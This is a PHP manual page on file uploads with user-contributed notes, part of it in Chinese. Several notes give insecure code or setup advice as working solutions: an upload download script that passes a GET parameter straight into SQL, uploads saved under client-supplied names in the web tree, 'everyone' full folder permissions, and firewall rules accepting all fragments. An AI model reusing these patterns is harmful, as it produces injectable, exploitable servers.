I've had trouble in the past with reading the '/tmp' file in a file upload.  It would be nice if PHP let me read that file BEFORE I tried to move_uploaded_file on it, but PHP won't, presumably under the assumption that I'd be doing something dangerous to read an untrusted file.  Fine.  One should move the uploaded file to some staging directory.  Then you check out its contents as thoroughly as you can.  THEN, if it seems kosher, move it into a directory outside your web tree.  Any access to that file should be through a PHP script which reads the file.  Putting it into your web tree, even with all the checks you can think of, is just too dangerous, imnsho.

There are more than a few User Contributed notes here with naive (bad) advice.  Be wary.
Andrea_1
01-May-2005 12:47
I want to share a really easy way of uploading files to your web host from a form!

Someone suggested it way down in these notes. I tried it and it's working!!

Go to http://pear.php.net/index.php

Then go to:
http://pear.php.net/HTTP_Upload

You download the main pear.php files and then the HTTP_Upload file. Upload it to your web host and within minutes, the example will be working!

I'm going to look further on that pear.php.net site too - it looks like they have a lot of good addition for complex PHP functions!

Yahoo!
Steven
29-Apr-2005 07:30
Need to get around your PHP.ini file upload limit?
Use a bit of clever JavaScript to get the value of your <input type="file"> (the location of the file on the client's machine), copy it to a hidden text box then try and upload traditionally, if you get a PHP error UPLOAD_ERR_INI_SIZE, then use the value of your hidden text box to initiate a PHP-FTP connection and upload to your heart's content.
No more limits :)
Sa_Estahbanati at yahoo dot com
27-Apr-2005 08:47
In the above notes there was solution to the server-side code that would use move_uploaded_file() to save the temporary file into a permanent path.
A pal maitaned that relative path would have problem in windows servers and you should indicate the complete path instead. While it is almost impossible to ge to know the exact path when you are not the host, I tried to test other ways and finally found out that a simple "." (dot) before tha path would solve the relative pathing problem.
instead of '/var/www/uploads/' or 'E:/sitebase/var/www/uploads/' you should type './var/www/uploads/'
Here is the complete source:
       <?php
           // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead
           // of $_FILES.

           //$uploaddir = 'E:/sitebase/var/www/uploads/';
           //$uploaddir = '/var/www/uploads/';
           $uploaddir = './var/www/uploads/';
           $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

           echo '<pre>';
           if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
               echo "File is valid, and was successfully uploaded.\n";
           } else {
               echo "Possible file upload attack!\n";
           }

           echo 'Here is some more debugging info:';
           print_r($_FILES);

           print "</pre>";

       ?>
dmsuperman at comcast dot net
27-Apr-2005 02:00
I needed a file uploader for a client a little while ago, then the client didn't want it, so I'll share with all of you. I know I hated coding it, it was confusing (for me anyway), but I made it fairly simple to use:

<?
function uploader($num_of_uploads=1, $file_types_array=array("txt"), $max_file_size=1048576, $upload_dir=""){
  if(!is_numeric($max_file_size)){
   $max_file_size = 1048576;
  }
  if(!isset($_POST["submitted"])){
   $form = "<form action='".$PHP_SELF."' method='post' enctype='multipart/form-data'>Upload files:<br /><input type='hidden' name='submitted' value='TRUE' id='".time()."'><input type='hidden' name='MAX_FILE_SIZE' value='".$max_file_size."'>";
   for($x=0;$x<$num_of_uploads;$x++){
     $form .= "<input type='file' name='file[]'><font color='red'>*</font><br />";
   }
   $form .= "<input type='submit' value='Upload'><br /><font color='red'>*</font>Maximum file length (minus extension) is 15 characters. Anything over that will be cut to only 15 characters. Valid file type(s): ";
   for($x=0;$x<count($file_types_array);$x++){
     if($x<count($file_types_array)-1){
       $form .= $file_types_array[$x].", ";
     }else{
       $form .= $file_types_array[$x].".";
     }
   }
   $form .= "</form>";
   echo($form);
  }else{
   foreach($_FILES["file"]["error"] as $key => $value){
     if($_FILES["file"]["name"][$key]!=""){
       if($value==UPLOAD_ERR_OK){
         $origfilename = $_FILES["file"]["name"][$key];
         $filename = explode(".", $_FILES["file"]["name"][$key]);
         $filenameext = $filename[count($filename)-1];
         unset($filename[count($filename)-1]);
         $filename = implode(".", $filename);
         $filename = substr($filename, 0, 15).".".$filenameext;
         $file_ext_allow = FALSE;
         for($x=0;$x<count($file_types_array);$x++){
           if($filenameext==$file_types_array[$x]){
             $file_ext_allow = TRUE;
           }
         }
         if($file_ext_allow){
           if($_FILES["file"]["size"][$key]<$max_file_size){
             if(move_uploaded_file($_FILES["file"]["tmp_name"][$key], $upload_dir.$filename)){
               echo("File uploaded successfully. - <a href='".$upload_dir.$filename."' target='_blank'>".$filename."</a><br />");
             }else{
               echo($origfilename." was not successfully uploaded<br />");
             }
           }else{
             echo($origfilename." was too big, not uploaded<br />");
           }
         }else{
           echo($origfilename." had an invalid file extension, not uploaded<br />");
         }
       }else{
         echo($origfilename." was not successfully uploaded<br />");
       }
     }
   }
  }
}
?>

uploader([int num_uploads [, arr file_types [, int file_size [, str upload_dir ]]]]);

num_uploads = Number of uploads to handle at once.

file_types = An array of all the file types you wish to use. The default is txt only.

file_size = The maximum file size of EACH file. A non-number will results in using the default 1mb filesize.

upload_dir = The directory to upload to, make sure this ends with a /

This functions echo()'s the whole uploader, and submits to itself, you need not do a thing but put uploader(); to have a simple 1 file upload with all defaults.
oportocala at DON'T GET SPAM dot yahoo dot comerce
22-Apr-2005 09:59
I had some problems with uploading files because of the path .So to save you some problems. if you get an error like "failed to open stream: No such file or directory in ..." it's likely because your not specifing the full path of the directory you want to upload.In other words you need to specify the full path and not the relative path in the second parameter.
Here is a small function to upload stuff. The files get their new name via last index from a database.
<?php

  $name_tmp = $HTTP_POST_FILES['file']['tmp_name'];
//read temporay filename
  $name = $HTTP_POST_FILES['file']['name'];
//read initial filename
  if(is_uploaded_file($name_tmp)){
   $ext =explode('.', $name);
   $ext = $ext[count($ext)-1];
   //get extension of uploaded file
       $index=getLastIndex();//costum function
   $path_parts = pathinfo(__file__);//get path info of curent php script
   $dir = $path_parts['dirname']."\\uploads"; //full path of upload directory
   $new = $dir."\\".$index.".".$ext;
     if(move_uploaded_file($name_tmp,$new))
       echo "File transfer succesfull.";
   }

?>
Jared
20-Apr-2005 10:07
If you want a unique filenames to prevent overwritting is to use sha1_file().

<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST')
   {
       if (isset($_FILES['pic']))
       {
           $file = $_FILES['pic'];

           if ($file['error'] == UPLOAD_ERR_OK)
           {
               $name = sha1_file($file['tmp_name']);
               $pathInfo = pathinfo($file['name']);
               if (isset($pathInfo['extension']))
                   $name .= '.'.$pathInfo['extension'];

               if (move_uploaded_file($file['tmp_name'], $uploaddir.$name))
               {
                   // ..ok..
               }
               else
               {
                   // ..failed..
               }
           }
       }
   }
?>

Its unlikely 2 files will ever get the same filename, unless they are the same.
trog at swmud dot pl
12-Apr-2005 07:07
The best way of getting unique filenames, in order to
prevent accidental file overwriting during e.g. upload is
to use functions:
- uniqid
- time
- md5

It is not recommended to use just time() function.
The example code will explain.
The code:
<?php
   for( $i = 0; $i < 10; $i++ )
       echo 'Time: '.time().' ID: '.md5(uniqid(time())).".\n";
?>

Example output:
Time: 1113310579 ID: 79955ae9bc455a33aed92de6b83e1a4a.
Time: 1113310579 ID: 45de8a2173b53c33659cafa1d564f49a.
Time: 1113310579 ID: 9377a0e655efd206ca5583b6530706cd.
Time: 1113310579 ID: 06a86b2c9678adb7f222984019a14c10.
Time: 1113310579 ID: 25fe1664af35ebb3347f04cf703be968.
Time: 1113310579 ID: dca7397eb4d7d5c44e34b0a16a6fc89e.
Time: 1113310579 ID: fa01b6a2a83fbaefd89306d27835101f.
Time: 1113310579 ID: cf20ada42f2248c3c8b67f46b1d97401.
Time: 1113310579 ID: 9ab1a24c7f576fe0e6add43b848660ac.
Time: 1113310579 ID: c6aa6e9e314b4392c94432ece411824e.

The ids are unique and this is what we want.
Now just append or prepend this id to the original filename and we
have unique filename every time.

Example:

<?php
   $unique_id = md5(uniqid(time()));
   $filename = $unique_id.'_'.$filename;
?>
bryan dot fillmer at beasleyallen dot com
04-Apr-2005 11:08
I looked high and low for a simple way to rename files as they are uploaded to prevent users from overwriting each others files. Below is the script I came up with.

<?php

   foreach( $_FILES["screenshots"]["error"] as $key => $error ) {

       if( $error == UPLOAD_ERR_OK ) {
           $tmp_name = $_FILES["screenshots"]["tmp_name"][$key];
           $original_name = $_FILES["screenshots"]["name"][$key];
           $tmp_array = preg_split( "/\\\/",$tmp_name );
           $file_name = $tmp_array[count($array)-1];
           $extension = preg_replace( "/(.*)\.([a-z]+)$/","$2",$original_name );
           $new_name = preg_replace( "/(.*)\.([a-z]+)$/","$1.$extension",$file_name );
           move_uploaded_file( $tmp_name,"./screenshots/$new_name" );
       }

   }

?>

I started with the generic multiple file upload script in the documentation above and worked from there.
robpet at tds dot net
03-Apr-2005 02:35
People have remarked that incorrect permissions on the upload directory may prevent photos or other files from uploading.  Setting the Apache owner of the directory incorrectly will also prevent files from uploading -- I use a PHP script that creates a directory (if it doesn't exist already) before placing an uploaded file into it.  When the script creates the directory and then copies the uploaded file into the directory there is no problem because the owner of the file is whatever Apache is running as, typically "nobody". However, lets say that I've moved the site to a new server and have copied over existing file directories using FTP.  In this case the owner will have a different name from the Apache owner and files will not upload. The solution is to TelNet into the site and reset the owner to "nobody" or whatever Apache is running as using the CHOWN command.
javasri at yahoo dot com
31-Mar-2005 06:34
On windows XP, SP2, Explorer at times fails to upload files without extensions.

$_FILES array is null in that case. Microsoft says its a security feature(!)

The only solution we could comeup is to enforce uploaded file  to have an extention.
james [at] adultphpsolutions [dot] com
25-Mar-2005 04:21
Well let me ask you this?  Why would you compromise security doing this?  Might as well just turn off IP tables, you're basically allowing any connections to any port on your server, bad move.  I don't have those and have no problem uploading files.

"The iptables rules for this are as follows:
# allow all fragments
-A INPUT -f -j ACCEPT
# allow icmp traffic
-A INPUT -p icmp -j ACCEPT" <-- From guy below me...

On the bright side, this will also fix some issues with ssh and NFS =)

On another note, a smart programmer would also do checking on the files that are uploaded, making sure that they are the correct file, it is another breach in security not by checking the files you are uploading are in a web viewable area.  Just my two cents...
thisisroot at gmail dot com
14-Mar-2005 11:33
If you're having problems uploading large files but small files go through fine, here are some things to try:

- In the HTML form, make sure you've set MAX_FILE_SIZE to an acceptable value.
- In php.ini, be sure you've set the the upload_max_filesize and post_max_size to be large enough to handle your upload.
- In your httpd.conf (if you're using apache), check that the LimitRequestBody directive isn't set too low (it's optional, so it may not be there at all).

If those settings don't work, you can check your firewall configuration. When uploading large files, packets have to be split into fragments of varying size depending on your systems MTU (maximum transmission unit), which is typically 1500 bytes.

Because some systems send the packets with the headers last (or the header packet may be received after some of the data packets), firewalls can't filter this traffic based on destination port and address. Many firewalls (including iptables) have to be configured to allow fragments separately from standard traffic. Unfortunately, it's an all-or-nothing thing in these cases, and exploits based on packet fragmentation have been a problem in the past (teardrop, boink, etc.). Note that ICMP may be used to notify the host (your server) of oncoming fragmentation, so you may need to allow ICMP traffic as well.

The iptables rules for this are as follows:
# allow all fragments
-A INPUT -f -j ACCEPT
# allow icmp traffic
-A INPUT -p icmp -j ACCEPT

On the bright side, this will also fix some issues with ssh and NFS =)
28-Feb-2005 02:06
Just to remind everyone, if you are wanting to upload larger files, you will need to change the value of both upload_max_filesize and post_max_size to the largest filesize you would like to allow.  Then restart apache and everything should work.
infoworks-tn dot com at david dot hamilton dot nospam
28-Feb-2005 12:52
Regarding the post by therebechips below about saving attachments to a MySQL database.  Here are some items that he forgot to mention:

Make sure your datafield is type text for storing the chunks in.  base64_encode translates binary into text (in a nutshell).

Also, the max size for a text field is 65535.  In his example he used 50,000 for the MAX_SQL chunks to put into the database.  If you do this, the encoded data is too large to fit in the field and is truncated.  Use 40,000 instead to be safe.  It took me a few hours to realize why my images were coming back out of the database corrupted.

Other than that, his example worked very well.
If you want to email me, flip the two parts of my email address around and remove .nospam

David Hamilton
Leevi at izilla dot com dot au
09-Feb-2005 02:52
This may help a newbie to file uploads.. it took advice from a friend to fix it..

If you are using
-windows xp
-iis 5
-php 5

If you keep getting permission errors on file uploads... and you have sworn you set the permissions to write to the directory in iis...

double check that
a) in windows explorer under tools > folder options
click the view tab
scroll down all the way to "use simple file sharing (recommended)"
uncheck this box

b) find the folder you wish to upload to on your server
c) click properties and then the security tab
d) make sure the appropriate write settings are checked.

you may want to test by setting "everyone" to have full permission....

BEWARE doing this will open up big security holes on your server....

hope this helps

Leevi Graham
phpnoob at adam dot net dot nz
09-Feb-2005 09:57
Just thought I'd add this since I had to search forever to find an answer.

When I used the enctype attribute on a form to process a file upload I had a problem redirecting back to an anchor point on the original page my code looked like this on the upload page:

header("Location: original_page.php#image_gal");

and the resulting url looked like this:

http://www.url.com/original_page.php

note the missing anchor reference.  So my work around was to pass the anchor point as a variable and then redirect again when I got to the original page.  A little bit chunky but it worked.  Hope this helps someone.
Tyfud
08-Jan-2005 12:44
It's important to note that when using the move_uploaded_file() command, that some configurations (Especially IIS) will fail if you prefix the destination path with a leading "/". Try the following:

move_uploaded_file($tmpFileName,'uploads/'.$fileName);

Setting up permissions is also a must. Make sure all accounts have write access to your upload directory, and read access if you wish to view these files later. You might have to chmod() the directory or file afterwards as well if you're still getting access errors.
lobo235 at gmail dot com
05-Jan-2005 06:48
Be sure to be careful with the $_FILES['userfile']['name'] array element. If the client uploads a file that has an apostrophe in the filename it WILL NOT get set to the full name of the file from the client's machine.

For example, if the client uploads a file named george's car.jpg the $_FILES['userfile']['name'] element will be set to s car.jpg because PHP appears to cut off everything before the apostrophe as well as the apostrophe itself.

This did not happen in some of the previous versions of PHP but I know that it happens in version 4.3.10 so watch out for this.

I thought this was a bug so I submitted it but it turns out that it is a "security measure"
ryan dot baclit at gmail dot com
15-Dec-2004 03:15
Hello everyone. I want to share to you that uploading will never work out of the box if you didn't set the upload_tmp_dir directive in your php.ini file in the first place. If you just compiled the source files as is and tried to upload, you're in for a big mess. I don't know the flags to pass to the configure script to tell php about the default temporary directory to place the uploaded files.

In case your php upload code won't do as expected, open up the php.ini file and set the upload_tmp_dir. Then restart the Apache server and you're set.

By the way, I'm using Linux Mandrake 10.1 Official and PHP 4.3.9 on Apache 2.0.49.
captlid
08-Nov-2004 02:37
mime_content_type() is better to use if you want to find if a file sent is really a jpeg or a plain text file. :)
therhinoman at hotmail dot com
28-Aug-2004 04:20
If your upload script is meant only for uploading images, you can use the image function getimagesize() (does not require the GD image library) to make sure you're really getting an image and also filter image types.

<?php getimagesize($file); ?>

...will return false if the file is not an image or is not accessable, otherwise it will return an array...

<?php
$file = 'somefile.jpg';

# assuming you've already taken some other
# preventive measures such as checking file
# extensions...

$result_array = getimagesize($file);

if ($result_array !== false) {
   $mime_type = $result_array['mime'];
   switch($mime_type) {
       case "image/jpeg":
           echo "file is jpeg type";
           break;
       case "image/gif":
           echo "file is gif type";
           break;
       default:
           echo "file is an image, but not of gif or jpeg type";
   }
} else {
   echo "file is not a valid image file";
}
?>

using this function along with others mentioned on this page, image ploading can be made pretty much fool-proof.

See http://php.net/manual/en/function.getimagesize.php for supported image types and more info.
olijon, iceland
19-Jun-2004 11:24
When uploading large images, I got a "Document contains no data" error when using Netscape and an error page when using Explorer. My server setup is RH Linux 9, Apache 2 and PHP 4.3.

I found out that the following entry in the httpd.conf file was missing:

<Files *.php>
  SetOutputFilter PHP
  SetInputFilter PHP
  LimitRequestBody 524288 (max size in bytes)
</Files>

When this had been added, everything worked smoothly.

- Oli Jon, Iceland
brion at pobox dot com
11-May-2004 09:08
Note that with magic_quotes_gpc on, the uploaded filename has backslashes added *but the tmp_name does not*. On Windows where the tmp_name path includes backslashes, you *must not* run stripslashes() on the tmp_name, so keep that in mind when de-magic_quotes-izing your input.
steve dot criddle at crd-sector dot com
17-Apr-2004 02:43
IE on the Mac is a bit troublesome.  If you are uploading a file with an unknown file suffix, IE uploads the file with a mime type of "application/x-macbinary".  The resulting file includes the resource fork wrapped around the file.  Not terribly useful.

The following code assumes that the mime type is in $type, and that you have loaded the file's contents into $content.  If the file is in MacBinary format, it delves into the resource fork header, gets the length of the data fork (bytes 83-86) and uses that to get rid of the resource fork.

(There is probably a better way to do it, but this solved my problem):

<?php
if ($type == 'application/x-macbinary') {
   if (strlen($content) < 128) die('File too small');
   $length = 0;
   for ($i=83; $i<=86; $i++) {
       $length = ($length * 256) + ord(substr($content,$i,1));
         }
   $content = substr($content,128,$length);
}
?>
hisham
02-Mar-2004 02:54
On a similar note to jim dot dam at sympatico dot ca 27-Feb-2002 09:13

Browsers intepret png upload type differently too eg.

print_r() output from Mozilla 1.6
Array ( [name] => eg1.png [type] => image/png [tmp_name] => /var/tmp/phpIJd4FL [error] => 0 [size] => 66614 )

print_r() output from IE 6
Array ( [name] => eg1.png [type] => image/x-png [tmp_name] => /var/tmp/phpHJ04Dh [error] => 0 [size] => 66614 )

Note the difference of image/png and image/x-png type intepretation of the same image file.

Further note:
http://www.cti.ecp.fr/documents/tests/png.html
~caetin~ ( at ) ~hotpop~ ( dot ) ~com~
11-Feb-2004 12:37
From the manual:

     If no file is selected for upload in your form, PHP will return $_FILES['userfile']['size'] as 0, and $_FILES['userfile']['tmp_name'] as none.

As of PHP 4.2.0, the "none" is no longer a reliable determinant of no file uploaded. It's documented if you click on the "error codes" link, but you need to look at the $_FILES['your_file']['error']. If it's 4, then no file was selected.
maya_gomez ~ at ~ mail ~ dot ~ ru
06-Feb-2004 09:20
when you upload the file, $_FILES['file']['name'] contains its original name converted into server's default charset.
if a name contain characters that aren't present in default charset, the conversion fails and the $_FILES['file']['name'] remains in original charset.

i've got this behavior when uploading from a windows-1251 environment into koi8-r. if a filename has the number sign "" (0xb9), it DOES NOT GET CONVERTED as soon as there is no such character in koi8-r.

Workaround i use:

<?php
if (strstr ($_FILES['file']['name'], chr(0xb9)) != "")
{
   $_FILES['file']['name'] = iconv (
       "windows-1251",
       "koi8-r",
       str_replace (chr(0xb9), "N.", $_FILES['file']['name']));
};
?>
srikanth at ideaworks3d dot com
20-Jan-2004 02:18
If the file is empty (0 bytes) it is treated as if no file
is uploaded. $_FILES['userfile']['tmp_name'] returns "none".
therebechips
07-Sep-2003 05:02
Re: Handling uploads and downloads of large files and storing in MySQL.

Use two tables to store data about the file and the file data itself. ***Important: to preserve the integrity of the data use base64_encode() NOT addslashes().

<?php
// Max packet size
   define("MAX_SQL",50000);
   $filehandle = fopen($tmp, "rb") or die( "Can't open file!" );
   $query=    "INSERT INTO files (name, type, size) VALUES(".
             $DB->quote($name).", ".
             $DB->quote($type).", ".
             $DB->quote($size).
             ")";

   // Execute Query
   $result = $DB->query($query);
   $file_id = mysql_insert_id();

// Copy the binary file data to the filedata table in sequential rows each containing MAX_SQL bytes
// Your table should have an index set to auto_increment
// Store the file_id to identify the data fragments
   while (!feof ($filehandle)) {
       $data = base64_encode(fread($filehandle,MAX_SQL));
       $query = "INSERT INTO filedata (file_id, data) VALUES($file_id,\"".$data."\")";
       $result = $DB->query($query);
   }
   fclose ($filehandle);
?>

Decode the data fragments and recombine them:
<?php
   $file_id =$_GET ['file_id'];
   $query ="select file_id, name, type, size from files where file_id='$file_id'";
   $result = $DB->query($query);
   $row= mysql_fetch_array ($result);
   $type = $row ["type"];
   $name = $row ["name"];
   $size = $row ["size"];
   $file_id = $row ["file_id"];

   // get the file data
   $query = "select id, data from filedata where file_id='$file_id' ORDER by id";
   $result = $DB->query($query);

// decode the fragments and recombine the file
   $data = "";
   while ($row = mysql_fetch_array($result)) {
       $data .= base64_decode($row ["data"]);
   }

// output the file
   header ("Content-type: $type");
   header ("Content-length: $size");
   header ("Content-Disposition: attachment; filename=$name");
   header ("Content-Description: PHP Generated Data");
   echo $data;
?>
e4c5 at raditha dot com
13-Aug-2003 05:22
Progress bar support has been a recurring theme in many a PHP mailing list over the years. You can find a free progress monitor component for PHP file uploads at http://sourceforge.net/projects/megaupload/

The advantage of this system is that you do not have to apply any patches to PHP to make use of it.
diegoful at yahoo dot com
25-Mar-2003 04:22
SECURITY CONSIDERATION: If you are saving all uploaded files to a directory accesible with an URL, remember to filter files not only by mime-type (e.g. image/gif), but also by extension. The mime-type is reported by the client, if you trust him, he can upload a php file as an image and then request it, executing malicious code.
I hope I am not giving hackers a good idea anymore than I am giving it to good-intended developers. Cheers.
garyds at miraclemedia dot ca
16-Mar-2003 10:12
As it has been mentioned above, Windows-based servers have trouble with the path to move the uploaded file to when using move_uploaded_file()... this may also be the reason copy() works and not move_uploaded_file(), but of course move_uploaded_file() is a much better method to use. The solution in the aforementioned note said you must use "\\" in the path, but I found "/" works as well. So to get a working path, I used something to the effect of:

"g:/rootdir/default/www/".$_FILES['userfile']['name']

...which worked like a charm.

I am using PHP 4.3.0 on a win2k server.

Hope this helps!
ov at xs4all dot nl
09-Mar-2003 11:08
This took me a few days to find out: when uploading large files with a slow connection to my WIN2K/IIS5/PHP4 server the POST form kept timing out at exactly 5 minutes. All PHP.INI settings were large enough to accomodate huge file uploads. Searched like hell with keywords like "file upload php timeout script" until I realised that I installed PHP as CGI and added that as a keyword. This was the solution:

To set the timeout value:
1. In the Internet Information Services snap-in, select the computer icon and open its property sheets.
2. Under Master Properties, select WWW Service, and then click the Edit button
3. Click the Home Directory tab.
4. Click the Configuration button.
5. Click the Process Options tab, and then type the timeout period in the CGI Script Timeout box.
mccorkle+php at devteam dot org
08-Jan-2003 03:59
To anyone that is trying to use values="foo" to set a default value in a input type of ``file'', I found this out from http://www.blooberry.com/indexdot/html/tagpages/i/inputfile.htm:

*  Internet Explorer, Netscape and Opera do not use the VALUE attribute as the default contents of the input area. Any default value set via HTML is not usable via scripting and the DOM as well (hence it is not listed as 'supported' in any of the browsers.) If a user enters text in the field however, that value is then reachable via the DOM as it normally would be for a normal INPUT field (via the .value property.) The reason for this behavior would presumably be to ensure the security/safety of users against malicious authors.

Tooke me a bit to find this, so I figured I'd share.
travis dot lewis at amd dot com
05-Dec-2002 04:58
If you we dumb like me you installed Redhat 8.0 and kept the default install of packages for Apache 2.0 and PHP4.2.2.  I could not upload any files larger than 512kB and all the php directorives were set to 32MB or higher.
memory_limit = 128M
post_max_size = 64M
upload_max_filesize = 32M

And my upload web page was set to 32MB as well:
<Form ID="frmAttach" Name="frmAttach" enctype="multipart/form-data" action="attachments.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="33554432" />

However, the insiduous php.conf (/etc/httpd/conf.d/php.conf) file used by default RPM install of Redhat httpd has a LimitRequestBody set to 512kB ("524288" ).  Adjusting this to 32MB ("33554432") got things going for the larger files.  Here is my php.conf file in its entirety.  Hope this helps someone.  L8er.

#
# PHP is an HTML-embedded scripting language which attempts to make it
# easy for developers to write dynamically generated webpages.
#

LoadModule php4_module modules/libphp4.so

#
# Cause the PHP interpreter handle files with a .php extension.
#
<Files *.php>
   SetOutputFilter PHP
   SetInputFilter PHP
   LimitRequestBody 33554432
</Files>

#
# Add index.php to the list of files that will be served as directory
# indexes.
#
solja at gci dot net
04-May-2002 09:11
Just another way I found to keep an uploaded file from overwriting an already exisiting one - I prefix each uploaded file with time() timestamp. Something like:
$unique_id = time();

Then when I give the new name to move the file to, I use something like:
$unique_id."-".$filename

So I get a fairly unique filename each time a file is uploaded. Obviously, if two files are uploaded at once, both will have the same timestamp, but I don't worry too much about that. Hope this might help someone.
am at netactor dot NO_SPAN dot com
15-Mar-2002 02:20
Your binary files may be uploaded incorrectly if you use modules what recode characters. For example, for Russian Apache, you should use
<Files ScriptThatReceivesUploads.php>
CharsetDisable On
</Files>
add a note add a note

后退 | 起点 | 前进
处理 XForms | 上一级 | 错误信息说明


错误信息说明

从 PHP 4.2.0 开始，PHP 将随文件信息数组一起返回一个对应的错误代码。该代码可以在文件上传时生成的文件数组中的 error 字段中被找到，也就是 $_FILES['userfile']['error']。

UPLOAD_ERR_OK

其值为 0，没有错误发生，文件上传成功。

UPLOAD_ERR_INI_SIZE

其值为 1，上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。

UPLOAD_ERR_FORM_SIZE

其值为 2，上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。

UPLOAD_ERR_PARTIAL

其值为 3，文件只有部分被上传。

UPLOAD_ERR_NO_FILE

其值为 4，没有文件被上传。

UPLOAD_ERR_NO_TMP_DIR

其值为 6，找不到临时文件夹。PHP 4.3.10 和 PHP 5.0.3 引进。

UPLOAD_ERR_CANT_WRITE

其值为 7，文件写入失败。PHP 5.1.0 引进。

注: 以上值在 PHP 4.3.0 之后变成了 PHP 常量。

add a note add a note User Contributed Notes
-
20-Jan-2006 07:26
Thank you stephen, that was very helpful ;-)

So, to repeat it for all, check your php.ini,

post_max_size

should be bigger than

upload_max_filesize

, otherwise you will not be able to report the correct error in case of a too big upload ! Also check the max-execution-time (upload-time could be added to execution-time).
stephen at poppymedia dot co dot uk
27-Sep-2005 06:05
if post is greater thanpost_max_size set in php.ini

$_FILES and $_POST will return empty
hans at lintoo dot dk
16-Jul-2005 04:18
or perhaps this:
<?php
switch ($filearray["error"]) {
   case UPLOAD_ERR_INI_SIZE:
       throw new Exception("The uploaded file exceeds the upload_max_filesize directive (".ini_get("upload_max_filesize").") in php.ini.");
   break;
   case UPLOAD_ERR_FORM_SIZE:
       throw new Exception("The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.");
   break;
   case UPLOAD_ERR_PARTIAL:
       throw new Exception("The uploaded file was only partially uploaded.");
   break;
   case UPLOAD_ERR_NO_FILE:
       throw new Exception("No file was uploaded.");
   break;
   case UPLOAD_ERR_NO_TMP_DIR:
       throw new Exception("Missing a temporary folder.");
   default:
       throw new Exception("An unknown file upload error occured");
}
?>
adam at gotlinux dot us
27-May-2005 10:28
This is probably useful to someone.
<?
array(
       0=>"There is no error, the file uploaded with success",
       1=>"The uploaded file exceeds the upload_max_filesize directive in php.ini",
       2=>"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form"
       3=>"The uploaded file was only partially uploaded",
       4=>"No file was uploaded",
       6=>"Missing a temporary folder"
);
?>
sysadmin at cs dot fit dot edu
16-Feb-2005 11:13
I noticed that on PHP-4.3.2 that $_FILES can also not be set if the file uploaded exceeds the limits set by upload-max-filesize in the php.ini, rather than setting error $_FILES["file"]["error"]
krissv at ifi.uio.no
28-Jan-2005 08:11
When $_FILES etc is empty like Dub spencer says in the note at the top and the error is not set, that might be because the form enctype isnt sat correctly. then nothing more than maybe a http server error happens.

enctype="multipart/form-data" works fine
Dub Spencer
26-Nov-2004 10:56
Upload doesnt work, and no error?

actually, both $_FILES and $_REQUEST in the posted to script are empty?

just see, if  "post_max_size" is lower than the data you want to load.

in the apache error log, there will be an entry like "Invalid method in request". and in the access log, there will be two requests: one for the POST, and another that starts with all "----" and produces a 501.
tyler at fishmas dot org
04-Nov-2004 11:08
In regards to the dud filename being sent, a very simple way to check for this is to check the file size as well as the file name.  For example, to check the file size simple use the size attribute in your file info array:

if($_FILES["file_id"]["size"]  == 0)
{
         ...PROCESS ERROR
}
add a note add a note

后退 | 起点 | 前进
文件上传处理 | 上一级 | 常见缺陷


常见缺陷

对 MAX_FILE_SIZE 设置的值，不能大于 ini 设置中 upload_max_filesize 选项设置的值。其默认值为 2M 字节。

如果内存限制设置被激活，可能需要将 memory_limit 设置的更大些，请确认 memory_limit 的设置足够的大。

如果 max_execution_time 设置的值太小，脚本运行的时间可能会超过该设置。因此，也请保证 max_execution_time 足够的大。

注: max_execution_time 仅仅只影响脚本本身运行的时间。任何其它花费在脚本运行之外的时间，诸如用函数 system() 对系统的调用、sleep() 函数的使用、数据库查询、文件上传等，在计算脚本运行的最大时间时都不包括在内。

警告

max_input_time 以秒为单位设定了脚本接收输入的最大时间，包括文件上传。对于较大或多个文件，或者用户的网速较慢时，可能会超过默认的 60 秒。

如果 post_max_size 设置的值太小，则较大的文件会无法被上传。因此，请保证 post_max_size 的值足够的大。

不对正在操作的文件进行验证可能意味着用户能够访问其它目录下的敏感信息。

请注意 CERN httpd 似乎会丢弃它从客户端获得的 content-type mime 头信息中第一个空格后所有的内容，基于这一点，CERN httpd 不支持文件上传特性。

鉴于文件路径的表示方法有很多种，我们无法确保用使用各种外语的文件名（尤其是包含空格的）能够被正确的处理。

开发人员不应将普通的输入字段和文件上传的字段混用同一个表单变量（例如都用 foo[]）。

add a note add a note User Contributed Notes
rbemrose at gmail dot com
20-Dec-2005 05:07
tjaart:
The HTTP/1.1 standard, section 4.2 says this about message headers:
"Each header field consists of a name followed by a colon (":") and the field value. Field names are case-insensitive. The field value MAY be preceded by any amount of LWS, though a single SP is preferred."

This can be interpreted in two ways:
1. You have to have at least one whitespace character between the header name and field value.
or
2. You can have no whitespace before the field value.

Either way, the standard recommends 1 space, and you already know that works...
tjaart at siam-data-services dot com
22-May-2005 04:27
Took me a while to figure this one out...

I think this is actually a header problem, but it only
happens when doing a file upload.

If you attept a header("location:http://...) redirect after
processing a $_POST[''] from a form doing a file upload
(i.e. having enctype="multipart/form-data"), the redirect
doesn't work in IE if you don't have a space between
location: & http, i.e.
header("location:http://...)  vs
header("location: http://...)

===================================
<?php
if ($_POST['submit']=='Upload') {
   // Process File and the redirect...
   header("location: http://"..."/somewhere.php");
   exit;
}
?>
<html><head></head><body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
   <input type="hidden" name="MAX_FILE_SIZE" value="20000">
   Your file: <input name="filename" type="file">
   <input name="submit" type="submit" value="Upload">
</form>
</body></html>
===================================

This only happens if all of the following are true:
header("location:http://...) with no space
Form being processed has enctype="multipart/form-data"
Browser=IE

To fix the problem, simply add the space.

Hope this helps someone else.
amalcon _a_t_ eudoramail _d_o_t_ com
11-Aug-2004 05:35
Note that, when you want to upload VERY large files (or you want to set the limiters VERY high for test purposes), all of the upload file size limiters are stored in signed 32-bit ints.  This means that setting a limit higher than about 2.1 GB will result in PHP seeing a large negative number.  I have not found any way around this.
morganaj at coleggwent dot ac dot uk
22-Oct-2003 12:53
Here is another that may make your upload fall over.  If you are using Squid or similar proxy server make sure that this is not limiting the size of the HTTP headers. This took me weeks to figure out!
tomcashman at unitekgroup dot com
09-Jun-2003 09:59
